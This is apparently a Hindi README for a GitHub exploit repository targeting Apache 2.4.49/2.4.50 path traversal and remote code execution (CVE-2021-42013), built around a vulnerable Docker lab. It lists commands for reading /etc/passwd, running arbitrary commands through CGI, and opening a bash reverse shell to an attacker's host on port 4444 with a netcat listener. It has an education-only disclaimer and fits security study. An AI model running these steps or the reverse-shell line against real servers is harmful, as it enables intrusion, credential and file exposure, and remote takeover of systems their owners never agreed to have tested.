
Apache 2.4.49/2.4.50 पाथ ट्रैवर्सल और RCE (CVE-2021-42013) के लिए एक्सप्लॉइट। इसमें पाथ ट्रैवर्सल का परीक्षण करने, कमांड निष्पादित करने और रिवर्स शेल प्राप्त करने के लिए Docker सेटअप और स्क्रिप्ट शामिल है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए
मूल PoC लेखक Walnut Security Services Pvt. Ltd के बहुत आभारी हैं
एक हमलावर पाथ ट्रैवर्सल हमले का उपयोग करके URLs को Alias-प्रकार निर्देशों द्वारा कॉन्फ़िगर किए गए निर्देशिकाओं के बाहर की फ़ाइलों से मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन alias पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड एक्ज़ीक्यूशन की अनुमति दे सकता है। यह समस्या केवल Apache 2.4.49 और Apache 2.4.50 को प्रभावित करती है, पुराने संस्करणों को नहीं।
सबसे पहले, रिपॉजिटरी को क्लोन करें
git clone https://github.com/asepsaepdin/CVE-2021-42013.git
डायरेक्टरी बदलें
cd CVE-2021-42013
असुरक्षित (vuln) कंटेनर बनाएं
docker build -t CVE-2021-42013 .
अस्थायी (ephemeral) कंटेनर चलाएँ
docker run --rm -it --name CVE-2021-42013 CVE-2021-42013
कंटेनर का IP पता जाँचें
docker inspect CVE-2021-42013 | grep "IPAddress"
स्क्रिप्ट को निष्पादन योग्य अनुमति दें
chmod +x cve-2021-42013.sh
पाथ ट्रैवर्सल का परीक्षण और पुष्टि करने के लिए, एक मान्य निर्देशिका खोजी जानी चाहिए, जो इस मामले में /icons के रूप में कॉन्फ़िगर की गई है। इसलिए, निम्न कमांड निष्पादित करने से पाथ ट्रैवर्सल भेद्यता ट्रिगर होगी और /etc/passwd की सामग्री प्रिंट होगी:
./cve-2021-42013.sh 172.17.0.3/icons /etc/passwd
रिमोट कोड एक्ज़ीक्यूशन का परीक्षण और पुष्टि करने के लिए, CGI को कॉन्फ़िगर और सक्षम किया जाना चाहिए, जो इस मामले में सत्य है। इसलिए, निम्न कमांड निष्पादित करने से रिमोट कोड एक्ज़ीक्यूशन ट्रिगर होगा और id कमांड का आउटपुट प्रिंट होगा:
./cve-2021-42013.sh 172.17.0.3 /bin/bash id
एक हमलावर के दृष्टिकोण से, इंटरैक्टिव शेल तक पहुँच प्राप्त करने के लिए रिमोट कोड एक्ज़ीक्यूशन महत्वपूर्ण है। इसलिए, निम्न कमांड निष्पादित करने से bash पर आधारित tcp पर एक पारंपरिक रिवर्स शेल हमलावर के सिस्टम पर पोर्ट 4444/tcp पर ट्रिगर होगा:
./cve-2021-42013.sh 172.17.0.4 /bin/bash 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
nc -nlvp 4444